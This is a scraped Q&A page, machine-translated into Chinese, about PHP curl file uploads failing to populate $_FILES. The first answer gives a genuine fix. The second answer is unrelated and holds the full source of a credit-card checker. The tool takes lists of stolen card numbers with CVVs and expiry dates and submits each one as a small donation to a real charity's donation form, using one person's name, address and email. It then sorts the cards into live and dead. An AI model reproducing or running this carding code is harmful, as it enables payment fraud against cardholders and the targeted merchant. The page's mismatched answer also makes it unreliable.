我有一个奇怪的问题,我正在尝试上传这样的文件。
包含文件
的数组var_dump($files);
array(1) {
["files"]=>
string(21) "@/tmp/emailimg_niXmYl"
}
卷曲请求是下一个:
$ch = curl_init(UPLOAD_IMAGE_URL);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$files);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
问题是,另一方面我没有得到$ _FILES中的文件,而是我将变量作为POST字段,就像我发送的那个,$ _FILES数组是空的;
var_dump($_POST);
array(1) {
["files"]=>
string(21) "@/tmp/emailimg_niXmYl"
}
var_dump($_FILES);
array(0) {
}
我有php版本5.6.14
答案 0 :(得分:1)
看起来它是版本的东西,但我不确定,我使用新CURLFile($ path,$ mimetype )而不是“@”解决了问题。$ file_path 即可。我还将 CURLOPT_SAFE_UPLOAD 设置为true。
仅适用于PHP 5.5或更高版本。
答案 1 :(得分:1)
<title>CC Checker by Uniao Insane</title>
<style>
body, table{
background:#000000;
padding:5px;
margin:5px;
font-family:Tahoma;
font-size:11px;
color:#FFFFFF;
}
textarea,input,select
{
background:#736F6E;
color:#FFFFFF;
border:dashed #ffff00;
}
a {
color:#00ff00;
}
a:hover{
color:#ffff00;
}
fieldset {
padding:5px;
border-width: 1px;
border-style: dotted;
border-color: #ccc;
text-align: left;
background: #000000;
position: relative;
}
legend {
border-width: 1px;
border-style: solid;
border-color: #ccc;
padding: 0 0.5em;
background: #000000;
font-size: 110%;
color: #3e8f96;
line-height: 1.5em;
position: relative;
top: -0.75em;
letter-spacing: 2px;
font-weight: bold;
}
.style1 {
background-color: #008000;
}
</style>
<?php
error_reporting(0);
?>
<?php
error_reporting(0);
set_time_limit(0);
function _curl($url,$post="",$usecookie = false) {
$ch = curl_init();
if($post) {
curl_setopt($ch, CURLOPT_POST ,1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($usecookie) {
curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
return $result;
}
function percent($num_amount, $num_total) {
$count1 = $num_amount / $num_total;
$count2 = $count1 * 100;
$count = number_format($count2, 0);
return $count;
}
function getStr($string,$start,$end){
$str = explode($start,$string);
$str = explode($end,$str[1]);
return $str[0];
}
function checkMon($date,$type){
$len = strlen($date);
if ($type == 2){
if($len == 2){
return $date;
}
elseif($len == 1){
switch($date){
case '1': $date='01'; break;
case '2': $date='02'; break;
case '3': $date='03'; break;
case '4': $date='04'; break;
case '5': $date='05'; break;
case '6': $date='06'; break;
case '7': $date='07'; break;
case '8': $date='08'; break;
case '9': $date='09'; break;
}
}
return $date;
}
elseif ($type == 1){
if($len == 2){
switch ($date){
case '01': $date='1'; break;
case '02': $date='2'; break;
case '03': $date='3'; break;
case '04': $date='4'; break;
case '05': $date='5'; break;
case '06': $date='6'; break;
case '07': $date='7'; break;
case '08': $date='8'; break;
case '09': $date='9'; break;
case '10': $date='10'; break;
case '11': $date='11'; break;
case '12': $date='12'; break;
}
return $date;
}
elseif($len == 1) return $date;
}
else return false;
}
function checkYear($date,$type){
$len = strlen($date);
if($type == 4){
if($len == 4) return $date;
elseif($len == 2) return "20".$date;
}
elseif($type == 2){
if($len == 2) return $date;
elseif($len == 4) return substr($date,-2);
}
else return false;
}
function multi_explode($pattern, $string, $standardDelimiter = ':'){
$string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
return explode($standardDelimiter, $string);
}
function info($ccline,$type){
$iscvv = 1;
$pattern = '/[:\|\\\\\/\s]/';
$line = multi_explode($pattern,$ccline);
$typemy = explode(" ",$type);
$typem = strlen($typemy[0]);
$typey = strlen($typemy[1]);
$amex = "american_express";
$visa = "visa";
$mast = "master";
$disc = "Discover";
foreach($line as $col){
if(is_numeric($col)){
switch(strlen($col)){
case 15:
if(substr($col,0,1)==3){
$ccnum['num'] = $col;
$ccnum['type'] = $amex;
}
break;
case 16:
switch(substr($col,0,1)){
case '4':
$ccnum['num'] = $col;
$ccnum['type'] = $visa;
break;
case '5':
$ccnum['num'] = $col;
$ccnum['type'] = $mast;
break;
case '6':
$ccnum['num'] = $col;
$ccnum['type'] = $disc;
break;
}
break;
case 1:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
case 2:
if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
$ccnum['mon'] = checkMon($col,$typem);
}
elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year']))) $ccnum['year'] = checkYear($col,$typey);
break;
case 4:
if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon']))) $ccnum['year'] = checkYear($col,$typey);
elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
else $ccv['cv4'] = $col;
break;
case 6:
if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
$ccnum['year'] = checkYear(substr($col,-2),$typey);
}
break;
case 3:
$ccv['cv3'] = $col;
break;
}
}
}
if($iscvv == 1){
if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
else $ccnum['cvv'] = $ccv['cv3'];
return $ccnum;
}
else return $ccnum;
}
function inStr($s,$as){
$s=strtoupper($s);
if(!is_array($as)) $as=array($as);
for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
return false;
}
if ($_POST['cclist']){
global $cookie;
$cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
$cclive = "";
$ccdie = "";
$ccerr = "";
$cccant = "";
$uncheck = "";
$limit = "";
$cclist = trim($_POST['cclist']);
$cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
$cclist = str_replace("\r\r","\r",$cclist);
$cclist = str_replace("\n\n","\n",$cclist);
$cclist = explode("\n",$cclist);
$STT = 0;
$TOTAL = count($cclist);
for($i=0;$i<count($cclist);$i++){
$ccnum = info($cclist[$i],"xx yyyy");
$type = $ccnum['type'];
$ccn = $ccnum['num'];
$ccmon = $ccnum['mon'];
$ccyear = $ccnum['year'];
$cvv = $ccnum['cvv'];
if ($ccn){
$STT++;
// Process Check
$link = "https://donate.doctorswithoutborders.org/onetime.cfm";
$post = "submitted=1&optimizelyhidden=&upsell_flag=1&monthly_lightbox=0&gift_amount=other&other_gift_amount=10&monthly_checkbox=1&acknowledgment_delivery=ecard&acknowledgment_type=H&ecardID=20&sender_name=&sender_email=&honoree_first_name=&honoree_last_name=&honoree_first_name_2=&honoree_last_name_2=&recipient_title=&recipient_first_name=&recipient_last_name=&recipient_email=&ecard_send_date=02%2F07%2F2016&send_copy=1&personal_message=&remLen1=160&honoree_first_name=&honoree_last_name=&company_name=&title=Dr.&first_name=Ailton&last_name=SIMOES+ARRAES&title_2=&first_name_2=&last_name_2=&address_1=RUA+GEN+BRAZ+ARANTES+&address_apt=105&city=Goiania&state=12&zip=74660210&country=32&email=benedito10220%40hotmail.com&phone=&card_type=2&credit_card_number=$ccn&cvv=$cvv&card_expiration_month=$ccmon&card_expiration_year=$ccyear&enews=";
$s = _curl($link,$post,$cookie);
if(inStr($s,'There was an error processing your card. Please check your information and re-submit when ready. Please make sure that the address below exactly matches your credit card billing address. If you need assistance, please contact us at 1-888-392-0392.')){
echo "$STT/$TOTAL | <font color=red>Die | ".$cclist[$i]." "." | VideoAula\n</font><br>";
$ccdie .= $cclist[$i]."\n";
}
elseif(inStr($s,"Please enter the credit card number.")){
echo "$STT/$TOTAL | <font color=DarkTurquoise>CC Invalida | ".$cclist[$i]." "." | VideoAula\n</font><br>";
$ccinva .= $cclist[$i]."\n";
}
else{
echo "$STT/$TOTAL | <font color=green>Live | ".$cclist[$i]." "." | VideoAula\n</font><br>";
$cclive .= $cclist[$i]."\n" ;
}
}
flush();
}
unlink($cookie);
$per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
$per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
$per3 = percent(count(explode("\n",$ccinva))-1,count($cclist));
$per4 = percent(count(explode("\n",$ccexp))-1,count($cclist));
$per5 = percent(count(explode("\n",$cccant))-1,count($cclist));
$per6 = percent(count(explode("\n",$limit))-1,count($cclist));
echo "<br><br><center><input type='submit' value='Next Check' onclick='location.replace(\"?\")'/></center>";
echo "<center>";
if($cclive!=""){
echo "<h2><font color=green>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
echo "<textarea wrap=off rows=10 style=\"width:90%\">$cclive</textarea><br>";
}
if($ccdie!=""){
echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccdie</textarea><br>";
}
if($ccinva!=""){
echo "<h2><font color=red>Invalid</font> $per3 % (".(count(explode("\n",$ccinva))-1)."/".count($cclist).")</h2>";
echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccinva</textarea><br>";
}
if($ccexp!=""){
echo "<h2><font color=red>Exp</font> $per4 % (".(count(explode("\n",$ccexp))-1)."/".count($cclist).")</h2>";
echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccexp</textarea><br>";
}
if($cccant!=""){
echo "<h2><font color=orange>CantCheck</font> $per5 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
echo "<textarea wrap=off rows=10 style=\"width:90%\">$cccant</textarea><br>";
}
}
else{
?>
<center><span class="style1">TESTADOR DE CC<br>by Uniao Insane</span></center>
<form method="POST" action="">
<fieldset>
<legend>Enter List CC :</legend>
<form action="" method=post name=f>
<p align="center">
<textarea id="cclist" name="cclist" class="textarea" style="width: 978px; height: 210px">5451369875462198|6|2016|000 - Depende do site que estiver usando!</textarea><br>Duplicate Remove: <input name=dup type=checkbox value=1 checked> Sort By Type: <input name=type type=checkbox value=1 checked><br>
Filter Date : <input name=date type=checkbox value=1 checked> Only check BIN: <input type=text name=bin MAXLENGTH=6 size=8 style="text-align:center"><br>
<input type=submit name=submit value="CHECK">
</p>
</form>
</fieldset>
<?php }?>